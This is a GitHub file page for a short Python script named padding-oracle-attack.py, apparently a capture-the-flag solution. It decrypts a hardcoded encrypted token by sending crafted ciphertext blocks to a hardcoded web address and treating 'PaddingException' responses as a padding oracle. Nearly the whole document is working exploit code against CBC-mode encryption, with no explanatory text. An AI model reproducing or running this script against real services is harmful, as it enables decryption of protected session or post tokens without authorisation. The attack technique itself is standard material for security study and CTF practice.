-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpadding-oracle-attack.py
More file actions
55 lines (47 loc) · 1.68 KB
/
padding-oracle-attack.py
File metadata and controls
55 lines (47 loc) · 1.68 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import base64
import requests
def decode(data):
return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))
def encode(data):
return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')
def bxor(b1, b2): # use xor for bytes
result = b""
for b1, b2 in zip(b1, b2):
result += bytes([b1 ^ b2])
return result
def test(url, data):
r = requests.get(url+'?post={}'.format(data))
if 'PaddingException' in r.text:
return False
else:
return True
def generate_iv_list(tail):
iv = b'\x00' * (16 - len(tail) -1)
return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]
def padding_oracle(real_iv, url, data):
index = 15
plains = bytes()
tail = bytes()
while index >= 0:
for iv in generate_iv_list(tail):
if test(url, encode(iv+data)):
plains = bytes([(16-index) ^ iv[index]]) + plains
index -= 1
tail = bytes([plain ^ (16-index) for plain in plains])
break
return bxor(real_iv, plains)
if __name__ == '__main__':
post = 'MKRAo1lbXFPnve5SMutjRl7Hf3YnnX-tLy9mdSwRGynFGPFPrAuVMx2k1K2SIB!gW6ea76GBUrFZanEAz8cyAEk69Ze9-9sB8fBu9lJj-YqXFM6QaONckyYpxQh2RMb60pEJjK5ZM0TrWnepJAeJs4SJv9rKGZVqPpDuj7LrHvMfl8kzQ9OmoqHJp5ejwo3d685XL8YNSkhFhGzs4BpNGw~~'
url = 'http://35.190.155.168/56848a7821/'
i = 1
plains = bytes()
data = decode(post)
length = len(data)
while True:
if i*16 < length:
iv = data[(i-1)*16: i*16]
plains += padding_oracle(iv, url, data[i*16: (i+1)*16])
else:
break
i += 1
print(plains)